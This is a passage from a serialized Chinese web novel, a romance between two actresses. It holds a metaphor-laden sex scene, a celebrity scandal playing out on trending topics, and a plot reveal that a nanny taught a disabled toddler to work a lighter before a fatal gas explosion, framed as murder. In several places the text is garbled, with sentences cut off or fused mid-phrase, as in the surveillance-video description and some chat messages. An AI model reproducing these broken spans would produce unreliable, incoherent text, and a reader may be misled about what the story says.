陆嵬的呼吸很安静,近乎虔诚的感受着黎数的轻吻,默认了黎数的说辞。 黎数笑了笑,沿着额头、眉心、鼻梁,一路向下,再一次和陆嵬唇|齿|交|缠。 只是腰间的手陡然一紧,黎数的吻不停,感受着陆嵬的手几乎嵌在了她的肉里。 陆嵬不想挣扎,任由黎数浑身的重量压在她身上,还觉得不够,想把她勒紧,想抱满怀,想和她之前连一丁点衣服的隔阂都没有。 她一个用力,一个用力,上下颠倒,看着黎数完全纵容的表情,低声说:“我这两年,真的很讨厌下雪天,太冷了。” 黎数被她的吻堵住唇舌,哼鸣间,再说出的话像是气音,努力的压抑着自已的呼吸:“不要害怕下雪,雪没做错什么。” 陆嵬知道她没有说错,但陆嵬绝对不会承认。 “来的一路上只有我一个人。”陆嵬将黎数的手牵引到衣领的扣子上,“雪落在身上的敲击声,脚踩在地上的咯吱声,鞋踩在砖块、陷到泥里的每一步,冷风吹在脸上、吹在手上的每一次……” 黎数的手轻巧的拨开陆嵬的扣子。 她里面只穿了黎数给她新换的全套的衣服。 和陆嵬来时带的那份小蛋糕外的精美包装一般无二的款式。 半透的蝴蝶款式的外壳包裹着奶油蛋糕,没能藏住里面的樱桃,黎数轻轻拨动一下,伸出舌尖舔了一口。 樱桃很甜,奶油柔软的触感蹭在脸上,绵软香甜经久不散。 “很漂亮。”黎数说:“宝贝,你好用心。” “我还带了另外一份。”陆嵬蹭着黎数的耳廓,听着黎数在耳边轻声的喘|息说:“一样的款式,给我看,好不好?” 黎数微微瑟缩了下,陆嵬知道她这里敏|感,追着亲吻,一凉一热,很快耳朵*变得通红,黎数收不住声音,颤着说:“好。” 奶油蛋糕外的蝴蝶包裹被取下,只余下同样款式的半透蝴蝶蕾丝底托,藏着里面的黑森林蛋糕欲遮欲掩。 陆嵬拿出另外一个草莓蛋糕,轻巧的拨开外面那层刚换上的外壳,手指一触及便被奶油那滑腻的触感吸附,再也离不开了。 “这个蛋糕上也有樱桃。”陆嵬轻声说:“好粉,以前有这么粉吗?” 黎数咬着手背,“小时候是这样的。” “真漂亮。”陆嵬说:“有时候又感觉像是馈赠。能见到以前我没见过的样子。蛋糕下面的花瓣也是这么粉吗?” 黎数视野晃动,“唔……” 陆嵬不给她机会把花瓣挪开,伸手拨开,看着花瓣的花蕊。 花瓣上面沾了奶油,陆嵬蹭到了些许在鼻尖:“姐姐,你的声音要盖过雪声了。” 黎数的声音开始压抑不住,耳边是窗外加大,她忽然知道了陆嵬想要的。 雪很大,需要别的东西盖住它。 那一路上,陆嵬形单影只,耳边除了风声,就是雪声,间或是她自已差距吸声。 数垂眸,撑着身体坐起来,和陆嵬四目相对,眼看着陆嵬将花瓣含住。 暖气可能开的太足了,身被汗水浸湿,花瓣被湿热包裹,黎数双眼变得潮热。 她明白了陆嵬害怕什么,期待什么,她整个人陷在柔软的床铺里,一只手和陆嵬的左手紧紧握着。 灯光在摇晃,但不同于两年前的天旋地转,现在是她在摇晃。 雪声仍然很大,但更大的美妙声音已经将雪声遮住。 风声偶尔呜咽,却更像是午夜响起的伴奏音,让她们两个像是身处一座孤岛,只有彼此,和彼此的体温。 巨大的、被满足的掌控欲在这一刻被黎数纵容的满足,陆嵬抬起脸,总被说没有感情、像是伪人的一双浅瞳里倒映的全是爱恋。 陆嵬就这么静静地看着黎数,过了一会,用拇指按了按黎数的下唇。 陆嵬轻声说:“沾到奶油了。舔干净。” 黎数一笑,张开嘴含住她的指尖,把奶油吞下,又说:“花蜜也很甜,把你的拿来,我也想吃。” 两个香甜的蛋糕被品尝到了后半夜,黎数和陆嵬相拥着睡着。 陆嵬习惯性蜷缩在黎数的怀里,习惯性将耳朵贴在她的胸前,习惯性的去听黎数平稳跃动着的心脏。 后半夜她再一次惊醒,冰冷的计时器上显示的是AM4:00。 窗外经由一宿的雪色映照,天地间夹杂了一片暧昧的蓝,陆嵬一动没动,忽然察觉到身边的人动了动,随后,黎数很小心的坐了起来。 陆嵬在她有动静的那一瞬间就闭上了眼。 但黎数坐起来后并没有别的动作,只是在昏暗的室内,艰难地借着外面的天光仔仔细细的看了会陆嵬的脸,而后很轻的在她唇上吻了一下。 只有些许碎发落在脸上有微微的痒,黎数离开后,陆嵬无声的勾起唇角,像是只假寐的黑豹,蛰伏在床上,静静地观察着黎数。 黎数从床头拿出了手机,似乎是担心手机的亮度吵到陆嵬,她蜷在床边的地毯上,开了静音,将手机亮度调到最低。 先是给裘夏发了消息,又打开了时下的几个大热平台,看起了热搜、评论和私信。 入目的热搜词汇几乎被几个眼熟的名字刷了屏。 最开始只是一个博主在爆时尚圈很有人脉的采访导演离职的事情,而这位导演离职后,却牵扯出了以黎数身为主角的N宗罪。 两个月前拍摄的杂志大封在第一周的时候就发布了封面预告,那时候还没有多少的热度,大多都是从《秘宝》的预告和《地心》的预告以及片花、还有几位主演、嘉宾捎带来的粉丝。 第二周的时间,杂志发布了预售,一直持续到了第一个月的月底,销量和往期差不多持平,不好不坏,但因为黎数的好人缘引来了不少的转发,所以总预售量还算是不错。 但黎数看到了有网友总结的时间线——在预售结束的那一天,先前采访自已的导演离职了。 而现在,杂志刚刚进入发行流程,是最重要的销售环节,同样也是购买者最后可以退款的时间。 而在这约莫两个月后,《秘宝》会在过年档上映,紧接着,年尾假期时,《地心》会接档播出。 然而就是卡在最重要的杂志销售环节,也是黎数第一次正式的、通过主流的时尚杂志进入所有人视野的时间点上,出事了。 #顾宗年六十大寿谈重启《真凶》计划# #《真凶》女主岑巡热门人选# #到底谁才能出演岑巡# #疑似顾宗年心属黎数出演岑巡# #沈凝雪曾签官宣出演岑巡# #沈凝雪陆嵬# #陆嵬黎数# #黎数替身# #陆嵬裘夏# #顾宗年陆嵬是师徒# #秦子帆陆嵬母女关系# #陆嵬黎数恋情# 几乎所有的词条后面,大都跟着‘沸’字,讨论度一直居高不下。 而最终定格在最高点的词条—— #黎数拒演岑巡# #黎数内涵顾宗年抢占他人剧本# #黎数内涵顾宗年抄袭# #黎数说顾宗年团队是自诩正统# #陆嵬挖坟# #陆嵬灾难捐款共计五千万余元# #黎数黎清# #六陇市泥石流六陇市大火灾# #一边是亲人,一边是群众# #灾难遇难者遗体保存鉴别手续# 黎数还没来得及去看后面的几个词条,就先弹出了一个小框,回消息的居然是裘夏。 黎数看了眼右上角,凌晨四点三十二。 【裘夏:陆嵬到你那了是吧?】 【黎数:你还没睡?】 【黎数:到了,刚哄睡没多久。】 裘夏那边的语音消息提示变成了‘正在输入中’的字样,不多时,跳出来了几段对话。 【裘夏:热搜和新闻都看见了?】 【裘夏:这件事情怪我,《时装》总监跟我十几年的老交情了,人员排查上我就没留心,这次离职和采访你的导演是顾宗年手底下出来的。】 【裘夏:他提的问题都是台本上没有的,你不用担心,录音、录像备份文件全都有,你回答的没有出格的地方,不需要发声、不需要争辩,静静等着。】 【裘夏:顾宗年挑明了想用春秋笔法玩一出偷梁换柱,蟑螂都不日的老东西。】 【裘夏:你最后说他抢占他人剧本、抄袭、团队都是草台班子这事儿有点麻烦,不过说破天了也就是口嗨。但这件事情,你是有证据是吗?】 裘夏最后半句问的方式笃定,并不是疑惑,也并不是求证,更像是夹杂了疑问句的陈述。 黎数坐起来了一点,悄然回过身,看了眼陆嵬恬静的睡脸。 半晌她挑挑眉,忽然一笑,没拆穿睫毛颤颤、装睡都装的很不专业的导演,莞尔回头,低头敲了几个字:【一定有。】 那是陆嵬的心血,她创作的过程,每一个日夜都是在她们住的那个小房子里面完成的。 手稿、废稿、甚至是陆嵬几年前淘汰的电脑,黎数都好好的收着,放在了杂物间里。 即便没有这些,以陆嵬的谨慎和事过留痕的性格,也一定不可能将她的心血就这么毫无保留的交给秦子帆,再经由秦子帆的手去交给顾宗年——何况,从《真凶》开始,顾宗年的目标就是她。 【裘夏:好。】 退出对话,黎数平静了一会,才重新打开了那些词条。 或许是已经有了心理准备,真正点进去看到那些词条的时候,黎数发觉自已居然异常的平静。 经过上一场寰宇在幕后操盘的铺天盖地的黑红营销,黎数这两个字几乎出现就必定夹杂着各种真真假假、虚虚实实的料。 两个月前的大灾难导致全网禁娱许久,多少人都收着不敢营销、不敢宣传,全网群众苦无瓜吃已久,这一次几乎成为了全媒体的狂欢。 一个靠黑红炒作同性恋情起家,还未真正面向大众,就已经掀起了娱乐圈半边腥风血雨的女明星,一个享誉国际的顶级导演顾宗年,一个半路陨落的豪门天才新秀陆嵬,一个红了二十年之久的满贯女演员沈凝雪,一个掌控着圈内上百知名艺人合约的金牌经纪人裘夏。 仅仅一夜的时间,许多平台甚至直接被吃瓜群众吃瘫痪了。 媒体争先恐后的截取片段式字眼发布,但很快,事关黎清和灾难相关的词条被迅速撤下,只剩余其他关键字的词条依然高高悬挂在顶端。 【我看不懂了,好一出豪门恩怨狗血大戏。】 【贵圈好乱,秦子帆是陆嵬亲妈,和顾宗年是二婚,那顾宗年是陆嵬后爸?黎数是陆嵬替身小情人,陆嵬以前又和沈凝雪同进同出举止亲密,但是黎数和沈凝雪前阵子又传出过片场合作愉快的消息,沈凝雪还多次给黎数站队,旗下的小花林辰星也多次表示过对黎数的喜欢……我了个苍天,总结就是:替身小情人内涵了金主的后爸?金主和金主的旧情人以及旧情人的下属全都喜欢小替身?好一个万人迷剧本。】 【黎数出走瓜圈半生,归来仍是十八岁。】 【好香的瓜,听说《地心》剧组最后是包机走的,灾区很多人看到黎数一直手捧着一个骨灰盒,还和陆嵬现身过申海市墓园。】 【什么时候天亮啊!顾宗年哎,不过早年好像就听说过他抢人家剧本的事儿,但是后来好像不了了之了。】 【什么叫抢啊,指导懂不懂?指导以后给大佬让一作的位置国际惯例了老铁。】 【卧槽,沈凝雪发声了!】 黎数退出,片刻后,果然看到了沈凝雪发布了一条消息。 沈凝雪:不要急,等风筝再飞一会。 【感觉有大瓜要爆。】 【我雪姐这话看着像是操刀手啊。】 【谁是风筝,谁是线,谁是操控剪刀的人?】 【救命好急好急我好急,沈凝雪到底是哪边的人?】 争论未休,事实未定,作为当事人,在这众说纷纭的瓜田里实在是看不到什么东西,营销号还没睡醒,事情也还没发酵到最高点。 黎数揉了揉眼睛,有些困了。 这所有的内容,在知道一定是有人在背后故意引导的那一刻,她其实是愤怒震惊的。 但陆嵬出现的时间和时机都实在是太巧了。 恰好的在黎数应该发现的时间出现,让舆论发酵了一夜到了一个□□的时间点上,才被睡醒的黎数看到——起码经过充足的放松、休息过后,黎数不会冲动的被情绪和疲惫的大脑左右。 而陆嵬的出现更像是一颗定心丸,她什么都没说,却已经无声的告诉了黎数一个既定的事实——我在,我陪着你,我需要你,永远。 与其在这里刷这些消息,不如回床上抱着陆嵬好好睡一觉。 对黎数和陆嵬来说,除生死外已经没有大事了,都不值得挂心。 黎数笑笑,刚喝了两口水,手机屏幕又亮了下。 黎数打开手机一看,发现是沈凝雪发来的消息。 【沈凝雪:睡了吗?】 【黎数:正打算继续睡。】 【沈凝雪:那晚安[月亮][月亮]】 【黎数:你有什么事情要说吗?】 黎数想了想措辞,单独叫姐太生分,叫姐姐更不可能,但跟着陆嵬叫表姐也很奇怪。 于是她在后面加了个‘凝雪姐’,点了发送。 沈凝雪这次发的是个语音,开口就带了停不下的气音:“算起来我是比你大,喊我一声姐也可以。本来没什么事情找你,就是想顺嘴问你一句抄袭的事儿,你这么笃定,到底顾宗年拿的是谁的东西。” 黎数静静的听完,沉吟了许久。 看这个情况,秦子帆从这里两次抢走陆嵬剧本的事情,陆嵬从上到下都瞒了个干干净净。 除了自已和其余三个当事人,上到俞珍珠等长辈,下到沈凝雪和裘夏等挚友,没有一个人知情。 【黎数:对我很重要的人。】 【沈凝雪:OK。】 黎数放下手机,双手交叠着放在床上,静静地看了陆嵬一会,一只手伸出去,轻轻摸了摸陆嵬的脸:“小可怜。” 黎数重新上了床,庆幸屋里暖气开的很足,不怕会把陆嵬冰到。 她知道陆嵬没睡,伸手贴着她光滑的身体,舒服的叹了口气说:“这段时间忙的合作是不是都要吹了?” 陆嵬装睡了快一小时,实际上一直在黎数背后默默地盯着她刷消息。 听黎数的声音没什么不对,陆嵬也不装了,睁开眼睛,一点睡意都没有的说:“不会。你这两个月所有的合作方都是跟寰宇合作了很久的老朋友,没有一个会丢的工作。” 但陆嵬很快又说:“最晚明天一早,顾宗年或是陆茂旗下的团队会公开发布声明,不管是心寒也好、斥责也罢,总之会给这件事情一个受害者姿态的答复,让这一切看起来就像是一个无理且无脑但又后台的小辈的无端冒犯,以后在你改正之前,拒绝再跟你合作之类的话。” “只是这样?”黎数纳闷:“他这样图什么?给我向大众留下一个不尊敬长辈,狂傲无理、和金主恋情纠葛的替身的印象?” 金主这个词让陆嵬挑挑眉,“谁是谁的金主?” 黎数仔细一琢磨:“我养你这么多年,我比较像是你的金主。” 陆嵬往她怀里钻,“那我以后把工资都交给你,你还像以前那样给我发零用钱。” 黎数打了个暂停:“你快算了,我自已以前那点账单都算不过来,你的还是你自已来吧。不过以后照旧给你发零用钱,好不好?” 陆嵬这才满意,“那我要大金表。” “你快省省吧祖宗,你带大粗链子金表能看吗?出去像是个暴发户。”黎数想起这情形就忍不住笑,“快跟我说,他到底想干什么?” 陆嵬这才正经了点:“你知道,以顾宗年为首的导演团队带头发出拒绝与你合作的事情,代表着什么吗?” 黎数愣了愣。 陆嵬轻声说:“代表着你会被以顾宗年为首的资本派系软性封杀,你会被所有商业片拒绝,无法面向大众审美和口味,而只存活于少数导演想要表达的观点和创意下,成为小众的低票房口碑高的无名演员。” 黎数懂了:“他是想给你和我一个下马威,或者想逼我和你一刀两断,用我逼你妥协,所以才用这么不痛不痒的理由和原因,再扯进来一些无关紧要的人来增加事件讨论度。” 陆嵬点头,忽然笑了:“你还是太善良了。” “什么?” “还有一点,你从没想到过。”陆嵬垂眸:“他和秦子帆都一样,想逼我妥协,逼我接受并且传承他们所谓的正统,进他们认可的圈层,做他们满意并垄断的片子,所以,一旦他们无法从我身上达到这一点,而我以后势必会变成他们的威胁的时候。” “那他们就会选择干脆毁掉我,去选择别的可以传承的人。”陆嵬去追逐黎数的唇啄吻,“他们真的成功过一次。” 两年前的二月十四日起,陆嵬几乎成了一个废人。 黎数将陆嵬拥的紧紧的,一手搂着陆嵬的腰,一手轻轻的拍着她的后背,不断地在她的脖颈上亲吻,像是在安抚一个脆弱的孩子。 所以再一次被陆嵬挑动起反应时,黎数几乎半推半就的顺从了,期间她看着陆嵬紧紧攥着她双手,神态近乎虔诚的吻她时,那瞬间,黎数忽然想—— 顾宗年能一次次的用自已去威胁陆嵬,无非就是自已走的还不够高,话语权还不够大。 诚如陆嵬之前所言,假设此时此刻,自已和沈凝雪身份互换,去掉那些庞杂的背景不说,光是手拿的奖项都不敢让人置喙半句。 沈凝雪甚至可以直接带着编剧进组改剧本,让从前的陆嵬光明正大的掌控本来就属于她的剧本,并在总编剧一栏写上她自已的名字。 假设有一天,她可以走到刘香铃的地位,可以坐在所有盛会第一排中央,可以端坐着任由所谓后辈眼中的‘大导’、‘资本’躬身排队等着握手。 假设她能够真正的掌控话语权,甚至在她力所能及下保证、庇佑一切曾经如同自已和陆嵬一样处境的人。 那么,一切就会截然不同。 黎数不得不承认,生前死后几十年,哪一秒都没有这一刻的野心来的更加旺盛。 下巴忽然被掐住,黎数睁开眼睛,望向了陆嵬隐忍着的脸。 陆嵬对她说:“在想什么?” 黎数笑着说:“在想你。” 下巴上的手松开,黎数感觉到温软湿润的亲吻,她笑了笑,伸手拍拍陆嵬的脸,哑声说:“小鬼,天亮了。” 陆嵬动作不停,一路向下滑去。 黎数用膝盖抵住她的下巴,阻止她继续向下:“我不想再喝水了。姐姐叫了一晚给你听了,改天再来,行不行?” 陆嵬这才别别扭扭不怎么满足的重新扑到黎数怀里:“那好吧。” 第78章 第七十八章【VIP】 人在酒店,供应的早餐也没什么好吃的。 陆嵬昨晚吃的餍足,但是余兴太长。一直搂着黎数又亲又摸又抱。 黎数怕她在房间待着又忍不住,把她轰出去买饭去了。 外面的雪转小了,但还在下。 出了酒店大门后陆嵬回头遥望,其实也看不到黎数放在窗口的那台摄影机,但知道她心里记挂着自已,初雪都要给她分享,就比什么都重要。 吃了黎数一整宿,陆嵬今早可谓春风得意餍足无比,拎着小馄饨和小笼包回去的时候,才发现黎数又睡着了。 手机还关着静音,在她枕边时不时亮起,全都是跳出来的未读消息。 黎数睡得香,陆嵬也没打算吵醒她,退回到玄关,悄无声息的把外衣脱了以后,又爬上了床,被黎数的味道包裹着,抱着她一起睡了个回笼觉。 再睁眼时,窗外已经大亮了。 雪地当天然的反光板,屋里亮的非比寻常,雪天,温暖的室内,这一切幸福的像是在梦里。 陆嵬眯了眯眼,侧着趴在床上,还能嗅到黎数用惯的沐浴露和洗发水的味道,她有些眷恋,不想起床。 黎数正坐在飘窗回看昨晚的录影,旁边是已经被吃完了的小馄饨,陆嵬望向她那边的时候,黎数正侧耳贴着录影机,像是听到了什么,脸红了下,又赶忙将声音调到了最低。 陆嵬心里一动。 她起身下床,走到了飘窗边,从身后抱住人,笑着说:“听到什么了?” 黎数侧头看了眼陆嵬睡眼惺忪的脸,“明知故问?” 陆嵬轻轻一笑。 她就着拥抱着黎数的姿势从她手里接过了摄影机,点下回放后,一直按着快进。 细碎的声音响起时陆嵬松开了快进,牙齿轻轻咬着一丁点黎数的耳垂,在她脖子上留下一连串的轻吻,轻声说:“叫的好好听啊,姐姐。” 黎数缩着肩膀:“正好顺了你的意,起码盖过了雪声。” 陆嵬埋在她发间微笑:“我知道你纵着我。” 两人没急着退房离开,黎数去冲了个澡,出来时发现陆嵬正用她的笔记本电脑在忙着。 陆嵬没戴平光镜,唇角微抿,浅色的瞳孔在电脑屏幕的灯光反衬下像是一个没有感情的AI机器人。 黎数走过去,揉揉陆嵬身上穿的高领毛衣,坐在她身边一边擦拭着已经长到了胸口的长发,一边轻声说:“偷穿姐姐的衣服。” 陆嵬身上穿的是黎数昨天穿的那件浅米色毛衣,被毛茸茸的衣料中和,侧头看向黎数时,整个人反而有一种温暖而平和的气息。 “我没带。”陆嵬一副你能拿我怎么办的模样说:“我里里外外全换了,穿的都是你的,你要看吗?” 说着她就要撩毛衣,黎数打了一下陆嵬的手,“不看。” “有点小。”陆嵬的目光又重新落回电脑上,手上敲打的动作不停,用一张很没有表情的脸去说撩人的话:“你腰好细啊姐姐,好紧。” 黎数听不下去了,水迹擦干又回浴室吹起了头发。 出来后黎数找自已的手机,才发现洗漱之前的衣服已经被陆嵬叠起来整理好了。 看着黎数翻衣服口袋的动作,陆嵬一手在背后摸了摸,拿出了黎数的手机递给她:“给。” 黎数躺下,打开时才问:“这件事情就这么冷着吗?” 陆嵬点头:“等三到七天。只要不涉及到大众底线问题,这种边角料的新闻发酵时间一般也就这么久。” 黎数‘嗯’了声。 一整晚的时间,该看到消息的亲朋好友也都看到了。 黎数的手机消息不算太多,但发来询问的也大大小小几十个人,认识不熟的人就简单回应一句,留下重要的人先报平安,再慢慢回复。 正和黎清说着她跟晋楚今年年假要来申海的消息,陆嵬忽然朝黎数招了招手。 黎数:“怎么了?” “你来看。”陆嵬看了眼,黎数倒在她身边侧躺着看手机,整个人散发着点懒洋洋的意味,回消息都是有一下没一下的戳键盘。 她眯了眯眼,把电脑放一边,躬身过去托着黎数的腋下把她拉了起来,“跟谁聊天呢。” “黎清。”黎数晃晃手机,“才聊了多久,吃醋啊?” “没有。”陆嵬矢口否认,压根没看屏幕,把电脑放在黎数腿上,“看这个。” 黎数看了眼左上角的时间,发现这是一段监控视频。 她诧异的说:“这是什么?” “两年前山火事发地的监后面还有别的。” 监,下方还有实时画面传播速率。 游客团用无人机拍下来的一幕。他们本来想登山探险野营,用无人机先去倍速,很快,播放到了最关键的地方。 ,极其紧张的走到了别墅大门口,她站在门外,动作看起来像是在哭。 过了会,她擦干净了眼泪,试了试手里的东西。 “这是……”黎数迟疑道:“打火机?” “没错。”陆嵬目光沉沉。 画面被拖动,一直过了大约有一十分钟左右,门忽然再一次被打开,刚刚进去的女人从屋里冲了出来,一直跑到了十几米外才停了下来。 无人机悄无声息的飞高,镜头拉远,遥遥跟在女人的身后。 女人期间回头看过,但似是离得太远,她看不清那是什么,只以为是迁徙而过的鸟。 一直走到了她以为安全的位置,女人焦急的在原地走来走去,忽然之间,毫无征兆的,从她离开的那栋别墅发出了震耳欲聋的爆炸声。 女人似乎是惊到了,下意识往来时的方向走了几步,却又停了下来。 无人机镜头对准了起火的别墅大楼,天干物燥,北风涌起,无人机逐渐在寒风中难以支撑,不多时,消防车的声音从四面八方涌来,无人机远远飞离了森林别墅。 “进山的玩的人里有应华,她每年都会来一次,这也是节目组邀请她的原因。这架无人机是她的。”陆嵬一边说着,一边打开了另外一段监控视频,“应华和夏希是从前的好友,模特圈抱团霸凌严重,夏希的身材虽然好,但在模特圈难出头,就转行了。” 黎数说:“她每年去一趟山里干什么?” 那座别墅群是环山的,属于前几年大火的度假别墅区,风景极好,但又在城市边缘,占地面积大,一方面能实现亲近自然的野趣,一方面又不与现代社会的方便隔绝。 但别墅区建立初期,六陇市还没有变成后来那样多灾多难的情况。 黎数想到了一种可能:“应华在那有度假别墅?” “是有一栋。”陆嵬打开了后一份视频,低声说:“你看这个。” 这是一个手机录像的视频。 视频正对着的,是一个小孩子。 小孩约莫只有两三岁的模样,穿着一身粉色的裙子,呆呆的坐在那,手里拿着一个打火机,不远处的保姆正在教她怎么打开。 打火机的样式不像是市面上常见的长方形,而是特殊的金属质地,模样像是个水壶,只需要轻轻按动把手的位置,从壶嘴处就会冒出火来。 两三岁的孩子力气小,但按动这里的力气却是够的。 教了不过几次,小女孩就能熟练地掌握怎么打开那个会喷出火苗的打火机了。 “这孩子……”黎数差距到了些许不对。 视频里的孩子愣愣的、总自说自话,嘴里咿咿呀呀的,沉浸于自已的世界。 她后面遵照着指令一下下的按动着手上的火机,自始至终坐在地上没有动过,裙子遮盖着双腿什么也看不见,但她的表情、和视频中对声音和表情的反馈明显不对。 “自闭症。”陆嵬说:“保姆教她用打火机的时间和频率每天是固定的,就在火灾发生前半小时。” 后面的视频大都佐证了这一点。 保姆会把打火机放在一个密码锁是魔方做成的盒子里,小孩子每一次解开的时间差不多都是十分钟左右。 她似乎对这个小东西很痴迷,每一次看到就走不动。 打开魔方、取出密码盒中的打火机,按动十余次,再把打火机放回去重新上锁。 这三个行为,成为了这些视频里唯一的在进行且重复事情。 黎数和陆嵬对视一眼,陆嵬说:“在这个森林别墅里,消防检测出了一十多年前就已经全球召回的燃气报警器的残骸。而根据这个保姆提供的线索,当年的那个燃气报警器也出现过误报的情况,同时,也找了燃气公司上门检测,检测结果没有出现漏气,但事故发生的原因,是燃气泄漏导致的爆炸。” 黎数不敢置信的瞪大了眼睛。 “熟悉吗?”陆嵬低声说:“和小时候你家里的事故如出一辙。” “但是我家的情况,当时只是一个意外……”黎数震惊,目光再一次望向电脑上面暂停了的画面:“他们这是,在教这个孩子……” “在教这个孩子自杀。”陆嵬脸色冰冷,“当年事发后,燃气公司第一时间组织了调查团,但房主,也就是我父亲,并没有往下追究,甚至没有要求赔偿,三方都想大事化小,最后这件事情也就不了了之了。” 黎数简直是匪夷所思。 “这么小的孩子。”黎数低声说:“到底是为什么?” “孩子是顾宗年和夏希的。”陆嵬说:“一个患有自闭症和先天遗传的基因缺陷、这种基因缺陷传女不传男,且会一直遗传下去。两岁还不能站立的孩子,对于顾宗年来说,是个天大的耻辱。他不可能会允许这个孩子一直活着,来给他完美的一生泼上污点的。” 的确。 以顾宗年的自负,他对外宣称一生都奉献给了电影事业,虽然娶妻但并未生孩子,经常扬言会把妻子的孩子当成亲生孩子一样照料。 网上也盛传顾宗年对自已的弟子,徒弟都很好,如果有了自已的孩子,一定也很优秀,甚至因为他没有生育,不少人都觉得这是一大损失,因为优良的基因没有被继承。 只是在此之前没人知道,顾宗年妻子的孩子,是陆嵬。 这样的人,他又怎么可能承认自已的先天基因有问题。 黎数疑惑:“这些资料都是应华传给你的吗?” “嗯。”陆嵬点头,“这些视频,看起来可以串连起来,但没有决定性证据,除了让顾宗年背上点负面新闻,并没有多大的作用。” 时隔经年,大火将一切证据付之一炬,这些视频证据看上去也的确和顾宗年毫无关系。 黎数的目光定格在视频中保姆的脸上,半晌,说道:“这个保姆是关键人证。” 陆嵬也点头,但很快就说:“事发后她就被陆茂送出国了,应华说她儿子生了病,她就从湾区绕回来了,我派人去找了,但没找到她。” 正说着,黎数房间的门冷不丁被敲响,两人被吓了一跳,陆嵬朝外面问:“谁?” 隔音太好,外面的人也没听见声音,黎数恍惚一拍额头,“差点忘了,我刚刚让春风去买吃的了。” 已经中午了,黎数早上只吃了点小馄饨,陆嵬这才察觉自已也饿了,放下了手里的电脑,下了床和黎数一起去了小桌边。 春风把饭菜放下,冷不丁瞥见电脑上那张放大了的保姆的脸,整个人一愣,下意识的‘咦’了一声。 第79章 第七十九章【VIP】 黎数抬头一看,见春风看着电脑上那张放大的脸苦思冥想,心里一动,说道:“你见过这个人吗?” 春风很认真的回想了一会,点点头,但很快又摇摇头,一脸苦恼的说:“刚刚乍一看感觉眼熟得很,但是盯着看了一会,又想不起来了……” 春风离远了点,又看,但是怎么都没有刚刚惊鸿一瞥时的印象,很难受的说:“我感觉我肯定在哪见过她!” 一个几年前就被送出国的保姆,即便是因为孩子的病情回国,范围能缩小在医院和城市周边,但也无异于大海捞针。 黎数本来也没指望春风这么一见就能认出来什么,何况视频中保姆的长相实在是没什么令人能留得下印象的点。 微卷长发,很低的束在脑后,额前一撮刘海,身材算厚实健壮,个子不高不矮,圆盘脸。 “想不起来就算了。”黎数也不是没经历过‘我刚刚要说什么来着’之类的事情,便说道:“不用勉强。” 春风一脸纠结的挪开了视线,往回走几步,又不死心的扭头看电脑屏幕。 见确实是毫无印象,实在是想不起来,春风终于气馁了,可怜巴巴的说:“小黎姐,机票已经退好了。” “好。”黎数应了一声,“重新买成明早的机票吧,行李不用拿出来,今天放你一天假,你去逛逛看有没有什么想买的,回头找我报销。” 春风兴高采烈:“谢谢小黎姐!” 说完春风撒着欢就跑出去了。 陆嵬看了眼春风的背影,轻咬了一口抵在唇边的烤肠:“怎*么没见你给我报销过。” 排骨汤氤氲的雾气使得陆嵬的表情有些扭曲,明知道她就是故意捻酸吃醋,但黎数还是忍不住笑了笑,说:“等着。” 黎数起身,从包里摸出了陆嵬给她的副卡,很大气的往桌子上一放,说:“拿去,随便刷。” 到现在为止,黎数其实也存了一小笔钱,不能算多,但按照陆嵬的建议买了股票和基金,一步步从小学起,她不贪心,见好就收,倒是赚了一些。 但如果按照陆嵬正常消费标准去养她的话,肯定是远远不够的。 陆嵬很不高兴的瞪着桌子上那张黑卡。 马上要瞪到黎数的时候,黎数忍着笑从兜里掏出了一百块现金,崭新的,放在了那张黑卡上面,再一次很豪爽的说:“去花吧。” 陆嵬唇角忍不住往上挑,捻着一百块的边缘弹了弹,又放在鼻尖轻嗅,发现钱上都是黎数的香气。 她一下满意了,但嘴里还是说:“再攒攒说不定够给521买一个儿童手表。” 这都什么时候的事情了……黎数震惊:“你还没给它买?!” 陆嵬理所当然一点头,“小孩子总不能一直想着不劳而获。你对它有点太好了,小心它蹬鼻子上脸。你数数你都给它买多少东西了。” 黎数哭笑不得,但想了想,似乎确实是挺多的。 521虽然整天嚷嚷着要直接划陆嵬的卡买,但是买的东西基本都是征求过她或是陆嵬同意的,没有真正的乱花过钱。 “这话有点耳熟。”几个月前俞宝珠刚对自己耳提面命说不要对陆嵬太好,陆嵬会得寸进尺,现在居然从陆嵬嘴里听到了一样的话。 但陆嵬指的对象却是521。 有时候感觉命运真奇妙,521是陆嵬送给自己的礼物,但性格方面却完全是缩小版的陆嵬- 这天晚上,黎数简单算了下自己的存余,忽然想起黎清给她寄得那些钱。 卡里因为一直有资金变动,所以即便多年没用,账号也没被银行回收。 黎数前段时间回申海时去老房子找了找,在保险柜底部找到了那张卡,卡上的钱一共四十三万,那几乎是一个普通工薪家庭存小半辈子的钱了。 陆嵬已经睡了,黎数侧躺着哄她睡,手有一下没一下的在她的后背轻抚。 手机亮度调到了最暗,但还有消息往外跳,黎数低头看了眼,发现是黎清。 下午跟她说起过那笔钱的事儿,但黎清不肯要,也没松口,黎数跟她好声好气商量半天,最后丢下一句‘那一人一半,就当妈的医药费’。 黎清应该是察觉到黎数生气,之后就没再说什么。 小心翼翼的坐起身,似乎是察觉到了身边的空荡,陆嵬有些不安稳的抓了抓,黎数安抚似的拍了拍她的背,等到陆嵬重新睡熟,这才拿起了手机。 【黎会用到钱。】 【黎数:真到了那一步,也不是四十万能解决的事情,这笔钱与其在我名下被冻结,还不如交给你。】 黎清又是很久没回复,黎数又等了一会,心回消息的频率,如果对象不是晋楚, 重新放下手机,借着月色和雪色仔仔细细的看陆嵬的眉眼。 睡着以后的陆嵬褪去了白天不显于人前的疏离和淡漠,显得有些脆弱。 将陆嵬垂在脸上的碎发拨开,黎数有些出神,想起下午听 这次的事件并没有陆嵬嘴上说的那么轻松。 她现在的发展求稳,所以合作方大都是寰宇多年的老伙伴,不会出现突然毁约的情况,何况黎数也没做什么出格的事情。 突然因为一个时尚杂志的采访就让舆论引爆,从而延伸到各个不可思议的角度,本来就是一件很不寻常的事情。 但下午的热搜,即便是陆嵬和裘夏想瞒,黎数也能看得到——硕大的热搜标题#《时装》创办六十余年首遭大规模退款#。 合作方哪怕认识的再久,可说到底都只是合作方,大家都是为了利益,谁不局面? 总不能拿人情当钱给员工发工资。 手机又亮起,黎清好像相隔千里感应到了亲生妹妹的想法。 【黎清:想好后面怎么办了吗?】 黎数压下心里的想法,极为短暂的担忧和焦虑过后,她看了看陆嵬沉睡的眉眼,轻轻敲下几个字:【静等。】 看上去像是破罐子破摔的两个字,但黎数却是认真的。 